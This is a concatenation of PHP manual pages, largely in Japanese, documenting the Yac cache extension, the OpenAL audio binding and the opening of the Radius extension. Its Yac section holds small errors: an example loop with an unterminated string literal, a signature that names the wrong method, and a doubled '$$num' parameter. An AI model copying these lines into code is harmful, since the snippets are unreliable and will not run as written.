  • Yac::__set — Setter

User Contributed Notes

There are no user contributed notes for this page.


Store into cache

  • ≪ Yac
  • Yac::__construct ≫
  • PHP Manual
  • Yac
  • Store into cache

Yac::add

(PECL yac >= 1.0.0)

Yac::add — Store into cache

説明

public Yac::add ( string $keys , mixed $value , int $ttl = 0 ) : bool
public Yac::add ( array $key_vals ) : bool

Added a item into cache.

パラメータ

keys

string key

value

mixed value, All php value type could be stored except リソース

ttl

expire time

返り値

bool, true on success, false on failure

注意:

Yac::add() may fail if cas lock could not obtain, so, if you need the value to be stored properly, you may write codes like:

例1 Make sure the item is stored

while(!$yac->set("key", "vale));

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ≪ Yac::add
  • Yac::delete ≫
  • PHP Manual
  • Yac
  • Constructor

Yac::__construct

(PECL yac >= 1.0.0)

Yac::__construct — Constructor

説明

public Yac::__construct ( string $prefix = "" )

prefix is used to prepended to keys, this could be used to avoiding conflicts between apps.

パラメータ

prefix

string prefix

User Contributed Notes

There are no user contributed notes for this page.


Remove items from cache

  • ≪ Yac::__construct
  • Yac::dump ≫
  • PHP Manual
  • Yac
  • Remove items from cache

Yac::delete

(PECL yac >= 1.0.0)

Yac::delete — Remove items from cache

説明

public Yac::delete ( string|array $keys , int $ttl = ? ) : bool

remove items from cache

パラメータ

keys

string key, or array of multiple keys to be removed

ttl

if delay is set, delete will mark the items to be invalid in ttl second.

返り値

User Contributed Notes

There are no user contributed notes for this page.


Dump cache

  • ≪ Yac::delete
  • Yac::flush ≫
  • PHP Manual
  • Yac
  • Dump cache

Yac::dump

(PECL yac >= 1.0.0)

Yac::dump — Dump cache

説明

public Yac::dump ( int $$num ) : mixed

Dump values stored in cache

パラメータ

num

Maximum number of items should be returned

返り値

mixed

User Contributed Notes

There are no user contributed notes for this page.


Flush the cache

  • ≪ Yac::dump
  • Yac::get ≫
  • PHP Manual
  • Yac
  • Flush the cache

Yac::flush

(PECL yac >= 1.0.0)

Yac::flush — Flush the cache

説明

public Yac::flush ( ) : bool

Remove all cached values

パラメータ

この関数にはパラメータはありません。

返り値

bool, always true

User Contributed Notes

There are no user contributed notes for this page.


Retrieve values from cache

  • ≪ Yac::flush
  • Yac::__get ≫
  • PHP Manual
  • Yac
  • Retrieve values from cache

Yac::get

(PECL yac >= 1.0.0)

Yac::get — Retrieve values from cache

説明

public Yac::get ( string|array $key , int &$cas = null ) : mixed

Retrieve values from cache

パラメータ

key

string keys, or array of multiple keys.

cas

if not null, it will be set to the retrieved item's cas.

返り値

mixed on success, false on failure

User Contributed Notes

There are no user contributed notes for this page.


Getter

  • ≪ Yac::get
  • Yac::info ≫
  • PHP Manual
  • Yac
  • Getter

Yac::__get

(PECL yac >= 1.0.0)

Yac::__get — Getter

説明

public Yac::__get ( string $key ) : mixed

Retrieve values from cache

パラメータ

key

string key

返り値

mixed on success, null on failure

User Contributed Notes

There are no user contributed notes for this page.


Status of cache

  • ≪ Yac::__get
  • Yac::set ≫
  • PHP Manual
  • Yac
  • Status of cache

Yac::info

(PECL yac >= 1.0.0)

Yac::info — Status of cache

説明

public Yac::info ( ) : array

Get status of cache system

パラメータ

この関数にはパラメータはありません。

返り値

Return an array, consistent with: "memory_size", "slots_memory_size", "values_memory_size", "segment_size", "segment_num", "miss", "hits", "fails", "kicks", "recycles", "slots_size", "slots_used"

User Contributed Notes

There are no user contributed notes for this page.


Store into cache

  • ≪ Yac::info
  • Yac::__set ≫
  • PHP Manual
  • Yac
  • Store into cache

Yac::set

(PECL yac >= 1.0.0)

Yac::set — Store into cache

説明

public Yac::set ( string $keys , mixed $value , int $ttl = 0 ) : bool
public Yac::add ( array $key_vals ) : bool

Add a item into cache, it the key is already exists, override it.

パラメータ

keys

string key

value

mixed value, All php value type could be stored except リソース

ttl

expire time

返り値

the value self

User Contributed Notes

There are no user contributed notes for this page.


Setter

  • ≪ Yac::set
  • 音声フォーマットの操作 ≫
  • PHP Manual
  • Yac
  • Setter

Yac::__set

(PECL yac >= 1.0.0)

Yac::__set — Setter

説明

public Yac::__set ( string $keys , mixed $value ) : mixed

store a item into cache

パラメータ

keys

string key

value

mixed value, All php value type could be stored except リソース

返り値

Always return the value self

User Contributed Notes

There are no user contributed notes for this page.


音声フォーマットの操作

  • OpenAL — OpenAL 音声バインディング
    • はじめに
    • インストール/設定
    • 定義済み定数
    • OpenAL 関数

User Contributed Notes

There are no user contributed notes for this page.


OpenAL 音声バインディング

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • OpenAL 関数
    • openal_buffer_create — OpenAL バッファを生成する
    • openal_buffer_data — バッファのデータを読み込む
    • openal_buffer_destroy — OpenAL バッファを削除する
    • openal_buffer_get — OpenAL バッファのプロパティを取得する
    • openal_buffer_loadwav — .wav ファイルをバッファに読み込む
    • openal_context_create — 音声処理コンテキストを作成する
    • openal_context_current — 指定したコンテキストを現在のコンテキストにする
    • openal_context_destroy — コンテキストを削除する
    • openal_context_process — 指定したコンテキストを処理する
    • openal_context_suspend — 指定したコンテキストをサスペンドする
    • openal_device_close — OpenAL デバイスを閉じる
    • openal_device_open — OpenAL 音声レイヤを初期化する
    • openal_listener_get — リスナーのプロパティを取得する
    • openal_listener_set — リスナーのプロパティを設定する
    • openal_source_create — ソースリソースを生成する
    • openal_source_destroy — ソースリソースを削除する
    • openal_source_get — OpenAL ソースのプロパティを取得する
    • openal_source_pause — ソースを一時停止する
    • openal_source_play — ソースの再生を開始する
    • openal_source_rewind — ソースを巻き戻す
    • openal_source_set — ソースのプロパティを設定する
    • openal_source_stop — ソースの再生を停止する
    • openal_stream — ソースのストリーム再生を開始する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

プラットフォームに依存しない音声バインディングです。 » OpenAL ライブラリを必要とします。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/openal.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

設定ディレクティブは定義されていません。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

この拡張モジュールでは、
Open AL(Device) - openal_device_open() が返すもの、
Open AL(Context) - openal_context_create() が返すもの、
Open AL(Buffer) - openal_buffer_create() が返すもの
および Open AL(Source) - openal_source_create()
が返すものの 4 種類のリソース型が定義されています。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

ALC_FREQUENCY (int)
コンテキスト属性
ALC_REFRESH (int)
コンテキスト属性
ALC_SYNC (int)
コンテキスト属性
AL_FREQUENCY (int)
バッファ設定
AL_BITS (int)
バッファ設定
AL_CHANNELS (int)
バッファ設定
AL_SIZE (int)
バッファ設定
AL_BUFFER (int)
ソース/リスナー 設定 (Integer)
AL_SOURCE_RELATIVE (int)
ソース/リスナー 設定 (Integer)
AL_SOURCE_STATE (int)
ソース/リスナー 設定 (Integer)
AL_PITCH (int)
ソース/リスナー 設定 (Float)
AL_GAIN (int)
ソース/リスナー 設定 (Float)
AL_MIN_GAIN (int)
ソース/リスナー 設定 (Float)
AL_MAX_GAIN (int)
ソース/リスナー 設定 (Float)
AL_MAX_DISTANCE (int)
ソース/リスナー 設定 (Float)
AL_ROLLOFF_FACTOR (int)
ソース/リスナー 設定 (Float)
AL_CONE_OUTER_GAIN (int)
ソース/リスナー 設定 (Float)
AL_CONE_INNER_ANGLE (int)
ソース/リスナー 設定 (Float)
AL_CONE_OUTER_ANGLE (int)
ソース/リスナー 設定 (Float)
AL_REFERENCE_DISTANCE (int)
ソース/リスナー 設定 (Float)
AL_POSITION (int)
ソース/リスナー 設定 (Float Vector)
AL_VELOCITY (int)
ソース/リスナー 設定 (Float Vector)
AL_DIRECTION (int)
ソース/リスナー 設定 (Float Vector)
AL_ORIENTATION (int)
ソース/リスナー 設定 (Float Vector)
AL_FORMAT_MONO8 (int)
PCM フォーマット
AL_FORMAT_MONO16 (int)
PCM フォーマット
AL_FORMAT_STEREO8 (int)
PCM フォーマット
AL_FORMAT_STEREO16 (int)
PCM フォーマット
AL_INITIAL (int)
ソースの状態
AL_PLAYING (int)
ソースの状態
AL_PAUSED (int)
ソースの状態
AL_STOPPED (int)
ソースの状態
AL_LOOPING (int)
ソースの状態
AL_TRUE (int)
OpenAL が理解する boolean 値
AL_FALSE (int)
OpenAL が理解する boolean 値

User Contributed Notes

There are no user contributed notes for this page.


OpenAL 関数

目次

  • openal_buffer_create — OpenAL バッファを生成する
  • openal_buffer_data — バッファのデータを読み込む
  • openal_buffer_destroy — OpenAL バッファを削除する
  • openal_buffer_get — OpenAL バッファのプロパティを取得する
  • openal_buffer_loadwav — .wav ファイルをバッファに読み込む
  • openal_context_create — 音声処理コンテキストを作成する
  • openal_context_current — 指定したコンテキストを現在のコンテキストにする
  • openal_context_destroy — コンテキストを削除する
  • openal_context_process — 指定したコンテキストを処理する
  • openal_context_suspend — 指定したコンテキストをサスペンドする
  • openal_device_close — OpenAL デバイスを閉じる
  • openal_device_open — OpenAL 音声レイヤを初期化する
  • openal_listener_get — リスナーのプロパティを取得する
  • openal_listener_set — リスナーのプロパティを設定する
  • openal_source_create — ソースリソースを生成する
  • openal_source_destroy — ソースリソースを削除する
  • openal_source_get — OpenAL ソースのプロパティを取得する
  • openal_source_pause — ソースを一時停止する
  • openal_source_play — ソースの再生を開始する
  • openal_source_rewind — ソースを巻き戻す
  • openal_source_set — ソースのプロパティを設定する
  • openal_source_stop — ソースの再生を停止する
  • openal_stream — ソースのストリーム再生を開始する

User Contributed Notes

Tjeerd 02-Feb-2007 08:37
OpenAL aims to provide a standardized API for something called '3D' sound, just like OpenGL does for '3D' video rendering.

The fun part of OpenAL is that it does all the DSP for you, so you don't need to know a lot about audio. Since OpenAL comes from Creative Labs, it supports hardware rendering of audio with most if not all SoundBlaster audio controllers. They come with chips from EMU-systems and are specifically designed to mix down multichannel audio with DSP effects like reverb and chorus, which could consume a lot CPU speed.

The downside of OpenAL is that (at this time of writing) it is focus on games only. It doesn't do MIDI at all, it doesn't record anything, it doesn't work like a synthesizer. The only thing you can do with OpenAL is play sounds in a simulated 3D environment.
It probably doesn't work on the web.

To use OpenAL you need to read the documentation about OpenAL.

Note concerning audio users: there's no such thing as '3D' audio with speakers. Technically, when people have only two ears, they really can't distinguish sound from above or below, even in front or from behind. To achieve this people merely hear volume, the brightness of sound and the phase difference. One should be able to hear more '3D' sound with only two quality-class speakers than with a consumer class 5.1-set.
cweiske at cweiske dot de 06-Sep-2006 01:31
I made a PHP-Gtk2 OpenAL demo which allows you to define as many sound sources as you like and position them relative to the listener by drag and drop: http://gnope.org/p/Tools_OpenALdemo


OpenAL バッファを生成する

  • ≪ OpenAL 関数
  • openal_buffer_data ≫
  • PHP Manual
  • OpenAL 関数
  • OpenAL バッファを生成する

openal_buffer_create

(PECL openal >= 0.1.0)

openal_buffer_create — OpenAL バッファを生成する

説明

openal_buffer_create ( ) : resource

返り値

成功した場合に Open AL (バッファ) リソース、失敗した場合に false を返します。

参考

  • openal_buffer_loadwav() - .wav ファイルをバッファに読み込む
  • openal_buffer_data() - バッファのデータを読み込む

User Contributed Notes

There are no user contributed notes for this page.


バッファのデータを読み込む

  • ≪ openal_buffer_create
  • openal_buffer_destroy ≫
  • PHP Manual
  • OpenAL 関数
  • バッファのデータを読み込む

openal_buffer_data

(PECL openal >= 0.1.0)

openal_buffer_data — バッファのデータを読み込む

説明

openal_buffer_data ( resource $buffer , int $format , string $data , int $freq ) : bool

パラメータ

buffer

Open AL (バッファ) リソース (事前に openal_buffer_create() で作成したもの)。

format

data のフォーマット。 AL_FORMAT_MONO8、 AL_FORMAT_MONO16、 AL_FORMAT_STEREO8 そして AL_FORMAT_STEREO16 のいずれか。

data

format および freq で指定した、バイナリ音声データブロック。

freq

Hz 単位で指定した data の周波数。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_buffer_loadwav() - .wav ファイルをバッファに読み込む
  • openal_stream() - ソースのストリーム再生を開始する

User Contributed Notes

There are no user contributed notes for this page.


OpenAL バッファを削除する

  • ≪ openal_buffer_data
  • openal_buffer_get ≫
  • PHP Manual
  • OpenAL 関数
  • OpenAL バッファを削除する

openal_buffer_destroy

(PECL openal >= 0.1.0)

openal_buffer_destroy — OpenAL バッファを削除する

説明

openal_buffer_destroy ( resource $buffer ) : bool

パラメータ

buffer

Open AL (バッファ) リソース (事前に openal_buffer_create() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_buffer_create() - OpenAL バッファを生成する

User Contributed Notes

There are no user contributed notes for this page.


OpenAL バッファのプロパティを取得する

  • ≪ openal_buffer_destroy
  • openal_buffer_loadwav ≫
  • PHP Manual
  • OpenAL 関数
  • OpenAL バッファのプロパティを取得する

openal_buffer_get

(PECL openal >= 0.1.0)

openal_buffer_get — OpenAL バッファのプロパティを取得する

説明

openal_buffer_get ( resource $buffer , int $property ) : int|false

パラメータ

buffer

Open AL (バッファ) リソース (事前に openal_buffer_create() で作成したもの)。

property

特定のプロパティ。 AL_FREQUENCY、 AL_BITS、 AL_CHANNELS そして AL_SIZE のいずれか。

返り値

要求された property の値を整数で返します。 失敗した場合に false を返します。

参考

  • openal_buffer_create() - OpenAL バッファを生成する

User Contributed Notes

There are no user contributed notes for this page.


.wav ファイルをバッファに読み込む

  • ≪ openal_buffer_get
  • openal_context_create ≫
  • PHP Manual
  • OpenAL 関数
  • .wav ファイルをバッファに読み込む

openal_buffer_loadwav

(PECL openal >= 0.1.0)

openal_buffer_loadwav — .wav ファイルをバッファに読み込む

説明

openal_buffer_loadwav ( resource $buffer , string $wavfile ) : bool

パラメータ

buffer

Open AL (バッファ) リソース (事前に openal_buffer_create() で作成したもの)。

wavfile

ローカルファイルシステム上の .wav ファイルへのパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_buffer_data() - バッファのデータを読み込む
  • openal_stream() - ソースのストリーム再生を開始する

User Contributed Notes

There are no user contributed notes for this page.


音声処理コンテキストを作成する

  • ≪ openal_buffer_loadwav
  • openal_context_current ≫
  • PHP Manual
  • OpenAL 関数
  • 音声処理コンテキストを作成する

openal_context_create

(PECL openal >= 0.1.0)

openal_context_create — 音声処理コンテキストを作成する

説明

openal_context_create ( resource $device ) : resource

パラメータ

device

Open AL (デバイス) リソース (事前に openal_device_open() で作成したもの)。

返り値

成功した場合に Open AL (コンテキスト) リソース、 失敗した場合に false を返します。

参考

  • openal_device_open() - OpenAL 音声レイヤを初期化する
  • openal_context_destroy() - コンテキストを削除する

User Contributed Notes

There are no user contributed notes for this page.


指定したコンテキストを現在のコンテキストにする

  • ≪ openal_context_create
  • openal_context_destroy ≫
  • PHP Manual
  • OpenAL 関数
  • 指定したコンテキストを現在のコンテキストにする

openal_context_current

(PECL openal >= 0.1.0)

openal_context_current — 指定したコンテキストを現在のコンテキストにする

説明

openal_context_current ( resource $context ) : bool

パラメータ

context

Open AL (コンテキスト) リソース (事前に openal_context_create() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_context_create() - 音声処理コンテキストを作成する

User Contributed Notes

There are no user contributed notes for this page.


コンテキストを削除する

  • ≪ openal_context_current
  • openal_context_process ≫
  • PHP Manual
  • OpenAL 関数
  • コンテキストを削除する

openal_context_destroy

(PECL openal >= 0.1.0)

openal_context_destroy — コンテキストを削除する

説明

openal_context_destroy ( resource $context ) : bool

パラメータ

context

Open AL (コンテキスト) リソース (事前に openal_context_create() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_context_create() - 音声処理コンテキストを作成する

User Contributed Notes

There are no user contributed notes for this page.


指定したコンテキストを処理する

  • ≪ openal_context_destroy
  • openal_context_suspend ≫
  • PHP Manual
  • OpenAL 関数
  • 指定したコンテキストを処理する

openal_context_process

(PECL openal >= 0.1.0)

openal_context_process — 指定したコンテキストを処理する

説明

openal_context_process ( resource $context ) : bool

パラメータ

context

Open AL (コンテキスト) リソース (事前に openal_context_create() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_context_create() - 音声処理コンテキストを作成する
  • openal_context_current() - 指定したコンテキストを現在のコンテキストにする
  • openal_context_suspend() - 指定したコンテキストをサスペンドする

User Contributed Notes

There are no user contributed notes for this page.


指定したコンテキストをサスペンドする

  • ≪ openal_context_process
  • openal_device_close ≫
  • PHP Manual
  • OpenAL 関数
  • 指定したコンテキストをサスペンドする

openal_context_suspend

(PECL openal >= 0.1.0)

openal_context_suspend — 指定したコンテキストをサスペンドする

説明

openal_context_suspend ( resource $context ) : bool

パラメータ

context

Open AL (コンテキスト) リソース (事前に openal_context_create() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_context_create() - 音声処理コンテキストを作成する
  • openal_context_current() - 指定したコンテキストを現在のコンテキストにする
  • openal_context_process() - 指定したコンテキストを処理する

User Contributed Notes

There are no user contributed notes for this page.


OpenAL デバイスを閉じる

  • ≪ openal_context_suspend
  • openal_device_open ≫
  • PHP Manual
  • OpenAL 関数
  • OpenAL デバイスを閉じる

openal_device_close

(PECL openal >= 0.1.0)

openal_device_close — OpenAL デバイスを閉じる

説明

openal_device_close ( resource $device ) : bool

パラメータ

device

閉じようとしている Open AL (デバイス) リソース (事前に openal_device_open() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_device_open() - OpenAL 音声レイヤを初期化する

User Contributed Notes

There are no user contributed notes for this page.


OpenAL 音声レイヤを初期化する

  • ≪ openal_device_close
  • openal_listener_get ≫
  • PHP Manual
  • OpenAL 関数
  • OpenAL 音声レイヤを初期化する

openal_device_open

(PECL openal >= 0.1.0)

openal_device_open — OpenAL 音声レイヤを初期化する

説明

openal_device_open ( string $device_desc = ? ) : resource

パラメータ

device_desc

device_desc で指定した音声デバイスをオープンします。 device_desc が指定されなかった場合は、 最初に見つかった音声デバイスが使用されます。

返り値

成功した場合に Open AL (デバイス) リソース、 失敗した場合に false を返します。

参考

  • openal_device_close() - OpenAL デバイスを閉じる
  • openal_context_create() - 音声処理コンテキストを作成する

User Contributed Notes

There are no user contributed notes for this page.


リスナーのプロパティを取得する

  • ≪ openal_device_open
  • openal_listener_set ≫
  • PHP Manual
  • OpenAL 関数
  • リスナーのプロパティを取得する

openal_listener_get

(PECL openal >= 0.1.0)

openal_listener_get — リスナーのプロパティを取得する

説明

openal_listener_get ( int $property ) : mixed

パラメータ

property

取得するプロパティ。
AL_GAIN (float)、
AL_POSITION (array(float,float,float))、
AL_VELOCITY (array(float,float,float)) そして
AL_ORIENTATION (array(float,float,float)) のいずれか。

返り値

float あるいは float の配列 (どちらか適切なほう) を返します。 失敗した場合に false を返します。

参考

  • openal_listener_set() - リスナーのプロパティを設定する

User Contributed Notes

There are no user contributed notes for this page.


リスナーのプロパティを設定する

  • ≪ openal_listener_get
  • openal_source_create ≫
  • PHP Manual
  • OpenAL 関数
  • リスナーのプロパティを設定する

openal_listener_set

(PECL openal >= 0.1.0)

openal_listener_set — リスナーのプロパティを設定する

説明

openal_listener_set ( int $property , mixed $setting ) : bool

パラメータ

property

設定するプロパティ。
AL_GAIN (float)、
AL_POSITION (array(float,float,float))、
AL_VELOCITY (array(float,float,float)) そして
AL_ORIENTATION (array(float,float,float)) のいずれか。

setting

設定する値。float あるいは float の配列のうち適切なもの。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_listener_get() - リスナーのプロパティを取得する

User Contributed Notes

There are no user contributed notes for this page.


ソースリソースを生成する

  • ≪ openal_listener_set
  • openal_source_destroy ≫
  • PHP Manual
  • OpenAL 関数
  • ソースリソースを生成する

openal_source_create

(PECL openal >= 0.1.0)

openal_source_create — ソースリソースを生成する

説明

openal_source_create ( ) : resource

返り値

成功した場合に Open AL (ソース) リソース、 失敗した場合に false を返します。

参考

  • openal_source_set() - ソースのプロパティを設定する
  • openal_source_play() - ソースの再生を開始する
  • openal_source_destroy() - ソースリソースを削除する

User Contributed Notes

There are no user contributed notes for this page.


ソースリソースを削除する

  • ≪ openal_source_create
  • openal_source_get ≫
  • PHP Manual
  • OpenAL 関数
  • ソースリソースを削除する

openal_source_destroy

(PECL openal >= 0.1.0)

openal_source_destroy — ソースリソースを削除する

説明

openal_source_destroy ( resource $source ) : bool

パラメータ

source

Open AL (ソース) リソース (事前に openal_source_create() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_source_create() - ソースリソースを生成する

User Contributed Notes

There are no user contributed notes for this page.


OpenAL ソースのプロパティを取得する

  • ≪ openal_source_destroy
  • openal_source_pause ≫
  • PHP Manual
  • OpenAL 関数
  • OpenAL ソースのプロパティを取得する

openal_source_get

(PECL openal >= 0.1.0)

openal_source_get — OpenAL ソースのプロパティを取得する

説明

openal_source_get ( resource $source , int $property ) : mixed

パラメータ

source

Open AL (ソース) リソース (事前に openal_source_create() で作成したもの)。

property

取得するプロパティ。 AL_SOURCE_RELATIVE (int)、 AL_SOURCE_STATE (int)、 AL_PITCH (float)、 AL_GAIN (float)、 AL_MIN_GAIN (float)、 AL_MAX_GAIN (float)、 AL_MAX_DISTANCE (float)、 AL_ROLLOFF_FACTOR (float)、 AL_CONE_OUTER_GAIN (float)、 AL_CONE_INNER_ANGLE (float)、 AL_CONE_OUTER_ANGLE (float)、 AL_REFERENCE_DISTANCE (float)、 AL_POSITION (array(float,float,float))、 AL_VELOCITY (array(float,float,float))、 AL_DIRECTION (array(float,float,float)) のいずれか。

返り値

取得したプロパティに関連付けられた型を返します。 失敗した場合に false を返します。

参考

  • openal_source_create() - ソースリソースを生成する
  • openal_source_set() - ソースのプロパティを設定する
  • openal_source_play() - ソースの再生を開始する

User Contributed Notes

There are no user contributed notes for this page.


ソースを一時停止する

  • ≪ openal_source_get
  • openal_source_play ≫
  • PHP Manual
  • OpenAL 関数
  • ソースを一時停止する

openal_source_pause

(PECL openal >= 0.1.0)

openal_source_pause — ソースを一時停止する

説明

openal_source_pause ( resource $source ) : bool

パラメータ

source

Open AL (ソース) リソース (事前に openal_source_create() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_source_stop() - ソースの再生を停止する
  • openal_source_play() - ソースの再生を開始する
  • openal_source_rewind() - ソースを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


ソースの再生を開始する

  • ≪ openal_source_pause
  • openal_source_rewind ≫
  • PHP Manual
  • OpenAL 関数
  • ソースの再生を開始する

openal_source_play

(PECL openal >= 0.1.0)

openal_source_play — ソースの再生を開始する

説明

openal_source_play ( resource $source ) : bool

パラメータ

source

Open AL (ソース) リソース (事前に openal_source_create() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_source_stop() - ソースの再生を停止する
  • openal_source_pause() - ソースを一時停止する
  • openal_source_rewind() - ソースを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


ソースを巻き戻す

  • ≪ openal_source_play
  • openal_source_set ≫
  • PHP Manual
  • OpenAL 関数
  • ソースを巻き戻す

openal_source_rewind

(PECL openal >= 0.1.0)

openal_source_rewind — ソースを巻き戻す

説明

openal_source_rewind ( resource $source ) : bool

パラメータ

source

Open AL (ソース) リソース (事前に openal_source_create() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_source_stop() - ソースの再生を停止する
  • openal_source_pause() - ソースを一時停止する
  • openal_source_play() - ソースの再生を開始する

User Contributed Notes

There are no user contributed notes for this page.


ソースのプロパティを設定する

  • ≪ openal_source_rewind
  • openal_source_stop ≫
  • PHP Manual
  • OpenAL 関数
  • ソースのプロパティを設定する

openal_source_set

(PECL openal >= 0.1.0)

openal_source_set — ソースのプロパティを設定する

説明

openal_source_set ( resource $source , int $property , mixed $setting ) : bool

パラメータ

source

Open AL (ソース) リソース (事前に openal_source_create() で作成したもの)。

property

設定するプロパティ。 AL_BUFFER (OpenAL (ソース))、 AL_LOOPING (bool)、 AL_SOURCE_RELATIVE (int)、 AL_SOURCE_STATE (int)、 AL_PITCH (float)、 AL_GAIN (float)、 AL_MIN_GAIN (float)、 AL_MAX_GAIN (float)、 AL_MAX_DISTANCE (float)、 AL_ROLLOFF_FACTOR (float)、 AL_CONE_OUTER_GAIN (float)、 AL_CONE_INNER_ANGLE (float)、 AL_CONE_OUTER_ANGLE (float)、 AL_REFERENCE_DISTANCE (float)、 AL_POSITION (array(float,float,float))、 AL_VELOCITY (array(float,float,float))、 AL_DIRECTION (array(float,float,float)) のいずれか。

setting

指定した property に代入する値。 代入できる値については、property の説明を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_source_create() - ソースリソースを生成する
  • openal_source_get() - OpenAL ソースのプロパティを取得する
  • openal_source_play() - ソースの再生を開始する

User Contributed Notes

There are no user contributed notes for this page.


ソースの再生を停止する

  • ≪ openal_source_set
  • openal_stream ≫
  • PHP Manual
  • OpenAL 関数
  • ソースの再生を停止する

openal_source_stop

(PECL openal >= 0.1.0)

openal_source_stop — ソースの再生を停止する

説明

openal_source_stop ( resource $source ) : bool

パラメータ

source

Open AL (ソース) リソース (事前に openal_source_create() で作成したもの)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • openal_source_play() - ソースの再生を開始する
  • openal_source_pause() - ソースを一時停止する
  • openal_source_rewind() - ソースを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


ソースのストリーム再生を開始する

  • ≪ openal_source_stop
  • 認証サービス ≫
  • PHP Manual
  • OpenAL 関数
  • ソースのストリーム再生を開始する

openal_stream

(PECL openal >= 0.1.0)

openal_stream — ソースのストリーム再生を開始する

説明

openal_stream ( resource $source , int $format , int $rate ) : resource|false

パラメータ

source

Open AL (ソース) リソース (事前に openal_source_create() で作成したもの)。

format

data のフォーマット。 AL_FORMAT_MONO8、 AL_FORMAT_MONO16、 AL_FORMAT_STEREO8 そして AL_FORMAT_STEREO16 のいずれか。

rate

データをストリームに流す際の周波数を Hz 単位で指定します。

返り値

成功した場合にストリームリソースを返します。失敗した場合に false を返します。

参考

  • openal_source_create() - ソースリソースを生成する
  • fwrite() - バイナリセーフなファイル書き込み処理

User Contributed Notes

There are no user contributed notes for this page.


認証サービス

  • Radius
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Radius 関数

User Contributed Notes

There are no user contributed notes for this page.


Radius

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
    • RADIUS Options
    • RADIUS Packet Types
    • RADIUS Attribute Types
    • RADIUS Vendor Specific Attribute Types
  • 例
  • Radius 関数
    • radius_acct_open — 課金用の Radius ハンドルを作成する
    • radius_add_server — サーバーを追加する
    • radius_auth_open — 認証用の Radius ハンドルを作成する
    • radius_close — すべてのリソースを開放する
    • radius_config — 指定した設定ファイルをライブラリに読み込ませる
    • radius_create_request — 課金あるいは認証のリクエストを作成する
    • radius_cvt_addr — 生データを IP アドレスに変換する
    • radius_cvt_int — 生データを整数に変換する
    • radius_cvt_string — 生データを文字列に変換する
    • radius_demangle_mppe_key — 変形されたデータから mppe キーを得る
    • radius_demangle — データを復元する
    • radius_get_attr — 属性を取得する
    • radius_get_tagged_attr_data — Extracts the data from a tagged attribute
    • radius_get_tagged_attr_tag — Extracts the tag from a tagged attribute
    • radius_get_vendor_attr — ベンダ固有の属性を取得する
    • radius_put_addr — IP アドレス属性を設定する
    • radius_put_attr — バイナリ属性を設定する
    • radius_put_int — 整数属性を設定する
    • radius_put_string — 文字列属性を設定する
    • radius_put_vendor_addr — ベンダー固有の IP アドレス属性を設定する
    • radius_put_vendor_attr — ベンダー固有のバイナリ属性を設定する
    • radius_put_vendor_int — ベンダー固有の整数属性を設定する
    • radius_put_vendor_string — ベンダー固有の文字列属性を設定する
    • radius_request_authenticator — リクエスト認証子を返す
    • radius_salt_encrypt_attr — Salt-encrypts a value
    • radius_send_request — リクエストを送信し、応答を待つ
    • radius_server_secret — 共有秘密鍵を返す
    • radius_strerror — エラーメッセージを返す

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このパッケージは、FreeBSD の libradius (Remote Authentication Dial In User Service) をもとにしたものです。 クライアントからの認証や課金を、ネットワーク越しのリモートサーバーに行うことができます。

この PECL モジュールは、Radius 認証 (» RFC 2865) および Radius 課金 (» RFC 2866) を完全にサポートします。 このパッケージは、Unix (FreeBSD および Linux でテストしました) および Windows で使用可能です。

注意:

libradius に関する正確な説明は» ここ にあります。設定ファイルについての詳細な説明は » ここです。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/radius.

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

目次

  • RADIUS Options
  • RADIUS Packet Types
  • RADIUS Attribute Types
  • RADIUS Vendor Specific Attribute Types

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

RADIUS_MPPE_KEY_LEN (int)
The maximum length of MPPE keys.

